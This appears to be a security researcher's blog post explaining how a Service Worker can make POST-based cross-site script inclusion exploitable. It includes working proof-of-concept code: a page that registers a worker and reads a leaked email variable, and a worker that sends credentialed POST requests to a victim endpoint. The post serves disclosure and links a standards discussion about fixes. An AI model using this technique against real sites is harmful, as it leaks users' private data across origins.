Exploiting POST-based XSSI

We know, more and more client-side attacks are dying. But sometimes, with introduction of new features, an unexploitable becomes exploitable. Yes, combined with the power of Service Worker, XSSI is no longer limited to GET requests.

This essentially means we can also include resources with POST requests and CORS-safelisted headers. The idea is simple- intercept the request and modify to send no-cors POST request. For demonstration purpose, I've built a rough POC at;
https://cm2.pw/poc/chrome/xssi.php

It roughly looks like;

<script>
    navigator.serviceWorker.register('sw.js');
    window.addEventListener('DOMContentLoaded', event => {
        if(typeof(email)==='undefined')
            location.reload();
        else
            alert(email);
    });
</script>
<script src='/intercept'></script>

Where sw.js is as follows;

self.addEventListener('fetch', event => {
    const url = 'https://victim.cm2.pw/xss?text/plain';
    if(event.request.url.endsWith('/intercept'))
    event.respondWith(fetch(url, {
        method  : 'POST',
        //mode    : 'no-cors',
        credentials: 'include',
        body    : 'xss=email="[email protected]";',
        headers : {'Content-type':'application/x-www-form-urlencoded'}
    }));
});

Things worth noting here are;
- The <script> URL, if requested directly, returns 404 Not Found
- The request is intercepted and a POST request is sent to vulnerable endpoint instead
- The returned content is valid JavaScript, reason we're able to read email

The only purpose of <script src> above is to serve as a middleman, allowing us to intercept and modify the request on the fly. And, it doesn't necessarily have to be the vulnerable endpoint. So, with sw.js, we intercept the initial request and send one as required to the vulnerable endpoint. In this particular demo, a POST request with body set to email. We're sending a no-cors request, meaning we cannot really read the response. However, as long as the response is valid JavaScript and has some side effects, it's possible to leak contents cross-origin. The response here is identical to JavaScript variable declaration, email is assigned a value which we can access directly under window scope.

Interestingly, I've observed many applications setting Content-type to whatever was sent in Accept header. Though, not much of help but definitely a savior when CORB triggers.

Actually, we don't normally find XSSI these days and there's already enough protection in place. Therefore, an issue has been created in public on GitHub to discuss about potential solutions to the standard;
https://github.com/w3c/ServiceWorker/issues/1509

Show Comments